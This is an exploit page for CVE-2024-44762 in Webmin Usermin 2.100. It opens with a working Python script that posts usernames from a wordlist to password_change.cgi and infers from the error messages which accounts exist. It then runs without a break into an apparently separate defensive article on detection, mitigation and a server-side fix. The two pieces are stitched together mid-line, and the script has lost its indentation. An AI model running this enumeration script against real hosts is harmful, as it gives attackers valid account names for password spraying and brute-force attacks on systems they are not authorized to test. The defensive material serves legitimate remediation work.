Webmin Usermin 2.100 - Username Enumeration
# Exploit Title: Webmin Usermin 2.100 - Username Enumeration
# Date: 10.02.2024
# Exploit Author: Kjesper
# Vendor Homepage: https://www.webmin.com/usermin.html
# Software Link: https://github.com/webmin/usermin
# Version: <= 2.100
# Tested on: Kali Linux
# CVE: CVE-2024-44762
# https://senscybersecurity.nl/cve-2024-44762-explained/
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# Usermin - Username Enumeration (Version 2.100)
# Usage: UserEnumUsermin.py -u HOST -w WORDLIST_USERS
# Example: UserEnumUsermin.py -u https://127.0.0.1:20000 -w users.txt
import requests
import json
import requests
import argparse
import sys
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", help = "use -u with the url to the host of usermin, EX: \"-u https://127.0.0.1:20000\"")
parser.add_argument("-w", "--wordlist_users", help = "use -w with the username wordlist, EX: \"-w users.txt\"")
args = parser.parse_args()
if len(sys.argv) != 5:
print("Please provide the -u for URL and -w for the wordlist containing the usernames")
print("EX: python3 UsernameEnum.py -u https://127.0.0.1:20000 -w users.txt")
exit()
usernameFile = open(args.wordlist_users, 'r')
dataUsername = usernameFile.read()
usernameFileIntoList = dataUsername.split("\n")
usernameFile.close()
for i in usernameFileIntoList:
newHeaders = {'Content-type': 'application/x-www-form-urlencoded', 'Referer': '%s/password_change.cgi' % args.url}
params = {'user':i, 'pam':'', 'expired':'2', 'old':'fakePassword', 'new1':'password', 'new2':'password'}
response = requests.post('%s/password_change.cgi' % args.url, data=params, verify=False, headers=newHeaders)
if "Failed to change password: The current password is incorrect." in response.text:
print("Possible user found with username: " + i)
if "Failed to change password: Your login name was not found in the password file!" not in response.text and "Failed to change password: The current password is incorrect." not in response.text:
print("Application is most likely not vulnerable and are therefore quitting.")
exit() # comment out line 33-35 if you would still like to try username enumeration. Webmin/Usermin 2.100 — Username Enumeration (CVE-2024-44762): Technical Explanation, Detection, and Mitigation
This article explains the username enumeration vulnerability found in Usermin/Webmin (CVE-2024-44762), how it works at a high level, its operational impact, indicators an administrator can use to detect abuse, and practical mitigation and remediation steps. The goal is to provide defensive guidance and secure-coding recommendations so operators and developers can close the information disclosure vector and reduce attack surface.
Summary and Context
- Vulnerability: Username enumeration through inconsistent error responses in the password change endpoint (password_change.cgi) in Usermin <= 2.100.
- CVE: CVE-2024-44762
- Impact: An attacker can determine whether a given username exists on the system without valid credentials. Username enumeration is often a first step for targeted password attacks (credential stuffing, brute-force) and social engineering.
- Affected versions: Usermin versions up to and including 2.100 (refer to vendor advisories for exact patched versions).
- Primary risk: Information disclosure that enables follow-on credential-based attacks.
How the Vulnerability Works (High-level)
The vulnerability arises when the password change CGI endpoint returns different textual responses (and possibly different response behavior) depending on whether the supplied username exists. For example, when a user exists the endpoint may respond with a message indicating a wrong current password, while for non-existent usernames it returns an explicit "login name not found" message. These differences are observable via HTTP responses and can be probed remotely without authentication.
Important: this section intentionally avoids step-by-step exploit instructions. The following describes the class of issue so defenders and developers can remediate it.
Why This Is a Problem
- Reconnaissance: Attackers can enumerate valid accounts prior to password guessing or credential-stuffing campaigns.
- Automation: Simple, low-skill scripts can harvest valid usernames, which lowers cost and increases success probability for later attacks.
- Chaining: Once usernames are known, attackers may attempt phishing, password spray, or targeted social engineering.
Detection and Indicators of Compromise
Administrators should look for patterns indicating automated enumeration against password_change.cgi and similar endpoints.
- Repeated POST requests to
/password_change.cgifrom a single source IP or distributed sources. - High volume of failed password-change attempts that differ only in the username parameter.
- Log messages showing responses that contain phrases like "Your login name was not found" or "The current password is incorrect" for many distinct usernames in a short time window.
Example defensive log queries (for administrators):
# Search web server or Usermin logs for repeated attempts to password_change.cgi
# Example (adjust paths to your environment):
grep "password_change.cgi" /var/log/usermin/* | awk '{print $1,$7,$0}' | cut -d' ' -f1-2,3- | sort | uniq -c | sort -nr | head
This is a simple log-scanning example to surface top source addresses or request lines against the endpoint; tune it for your logging format. The example is intended for defensive log review and incident detection only.
Mitigation and Remediation
Operators should prioritize remediation in the following order.
- Apply vendor patches: Update Usermin to the vendor-released fixed version as soon as it is available. Patching is the definitive fix.
- Restrict access to the Usermin interface: Where feasible, restrict administrative and password endpoints via network-level controls (IP allowlists, VPNs, management subnets, or firewall rules).
- Rate-limit requests: Implement rate-limiting at the web server or reverse-proxy layer to reduce the effectiveness of automated enumeration attempts.
- Require MFA: Enforce multi-factor authentication where possible to raise the cost of credential-only attacks.
- Harden error messaging: Ensure the application returns generic, non-distinguishing error messages for authentication flows and password reset/change operations.
- Monitor and alert: Create alerts for unusual request patterns to sensitive endpoints and for spikes in failed password-change attempts.
Secure Coding and Server-Side Fix (Illustrative)
The root cause is information leakage via differentiated responses. The secure approach is to unify responses and avoid returning either explicit "user not found" or different timing for existent vs. non-existent users. The example below illustrates an approach to handle password-change requests that avoids revealing whether the username exists.
#!/usr/bin/perl
# Illustrative Perl CGI snippet (not a full implementation)
# Goal: Avoid revealing whether a username exists or not by returning
# a single generic failure message and keeping response behaviour consistent.
use strict;
use warnings;
use Time::HiRes qw(usleep);
use CGI;
my $q = CGI->new;
my $user = $q->param('user') // '';
my $old = $q->param('old') // '';
my $new = $q->param('new1') // '';
# Function: authenticate_user returns true if username exists and password matches.
# Implementations may vary. This function should not cause different timing that is observable.
sub authenticate_user {
my ($username, $password) = @_;
# Do not short-circuit based on user existence in a way that leaks info.
# Example: perform a password hash comparison against a constant-time computed
# dummy hash when the user does not exist.
# Pseudocode:
# if user exists: compute hash of $password and compare
# else: compute hash of $password against a pseudo random constant hash
# Use a constant-time comparison routine for equality checks.
return 0; # placeholder; actual implementation must be consistent
}
# Generic response: always return the same message for failure
sub generic_failure {
print $q->header(-type => 'text/html', -charset => 'utf-8');
print "";
print "Failed to change password. If you are unable to change your password, contact your administrator.
";
print "";
exit;
}
# Example: perform authentication and change in a manner that doesn't leak
my $auth_ok = authenticate_user($user, $old);
if (!$auth_ok) {
# Introduce minimal, fixed delay to reduce timing differences (tweak as needed)
usleep(100_000); # 100ms - illustrative only
generic_failure();
}
# If auth_ok, proceed to change password and return a generic success/failure
# ... perform change logic ...
Explanation: This illustrative snippet shows defensive techniques:
- Return a single, generic failure message for all password-change failures.
- Use a constant-time comparison and dummy comparisons for non-existent users so that timing differences are reduced.
- Introduce small, fixed delays to further reduce timing side-channels (use carefully to avoid DoS amplification).
Note: Implementations must be careful with delays because excessive delay can be abused to create denial-of-service conditions. Always test performance and avoid introducing long sleeps in production.
Configuration-Level Hardening
- Place Usermin behind an authenticated reverse proxy or VPN for administrative access only.
- Enable and configure rate-limiting (per-IP and per-account throttling) in the web server (NGINX, Apache) or reverse proxy.
- Use web application firewall (WAF) rules to detect and block enumeration patterns against password-change and login endpoints.
- Enforce strong password policies and lockout thresholds for repeated failures.
- Monitor and rotate logs frequently; store logs centrally to enable correlation and alerting.
Operational Detection Examples (Defensive)
Here are examples administrators can adapt to detect likely username-enumeration patterns in their environment.
# Example: count POST requests to password_change.cgi per IP in Apache combined log format
awk '$6 ~ /POST/ && $7 ~ /password_change.cgi/ { print $1 }' /var/log/apache2/access.log | sort | uniq -c | sort -nr | head
Explaination: The command extracts client IPs that made POST requests to /password_change.cgi, counts them, and shows the top sources. Use your actual log paths and formats. This is intended for incident response and detection.
Recommended Immediate Actions for Administrators
- Patch Usermin to the vendor-supplied fixed version immediately.
- If patching is not immediately possible: restrict access to management endpoints by IP, VPN, or firewall; enable rate-limiting; increase monitoring and alerting.
- Audit logs to determine whether enumeration activity occurred and collect affected accounts for follow-up (password reset, MFA enforcement).
- Force password resets and/or enable MFA for accounts of concern following detection of enumeration or brute-force attempts.
Responsible Testing and Red Teaming
Security testing should always be performed with explicit authorization. If you are a penetration tester or system owner verifying defenses:
- Perform tests only against systems you own or are authorized to test.
- Prefer testing in an isolated staging environment that mirrors production rather than scanning production directly.
- Coordinate tests with operations, monitor load and rate-limit impacts, and ensure logging is enabled.
Further Reading and References
| Topic | Where to look |
|---|---|
| Vendor advisory and patches | Webmin / Usermin official site and project repository (check release notes) |
| CVE details | CVE-2024-44762 entries in public vulnerability databases and vendor advisories |
| Secure coding patterns for authentication | OWASP Authentication Cheat Sheet and timing-attack mitigation guidance |
Final Notes
Username enumeration vulnerabilities are common but highly preventable. The most effective remediation is to patch the affected software, apply access controls, enforce strong authentication, and standardize responses so that external observers cannot distinguish between "user not found" and "invalid password." Use centralized logging and alerting to detect abuse early and respond quickly.